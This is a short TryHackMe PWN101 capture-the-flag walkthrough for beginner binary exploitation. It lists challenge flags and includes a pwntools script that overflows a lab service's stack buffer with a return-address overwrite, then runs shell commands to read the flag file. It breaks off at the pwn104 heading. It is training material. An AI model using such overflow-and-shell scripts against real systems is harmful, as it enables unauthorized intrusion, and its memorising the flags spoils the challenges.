[PWN101] - TryHackMe - Walkthrough

Beginner level binary exploitation challenges.

Challenge 1 - pwn101

We're always going to start off by marking these binaries executable and basically running them. I'm not going to run a malware scan, because I'm in a dedicated environment. But, even in this situation, that's dumb of me. You should run a malware scan of any suspicious binary.

pwn101.pwn101

Ok... drops a shell and challenge is on port 9001... And, yes, some things are just this easy. Haha

THM{7h4t's_4n_3zy_oveRflowwwww}

Challenge 2 - pwn102

THM{y3s_1_n33D_C0ff33_to_C0d3_<3}

Challenge 3 - pwn102

Initial exploit:

Weaponize it for the server:

#!/usr/bin/env python3 

from pwn import * 


p = remote("10.10.200.187","9003") 

payload = b"A"*40 + p64(0x00401554) + p64(0x00401554) 
p.sendline(b"3") 
p.recv() 
p.sendline(payload) 
p.recv() 
p.sendline('whoami') 
p.sendline('id') 
p.sendline('cat flag.txt') 
p.interactive()

THM{w3lC0m3_4Dm1N}

Challenge 4 - pwn104 (nop sled)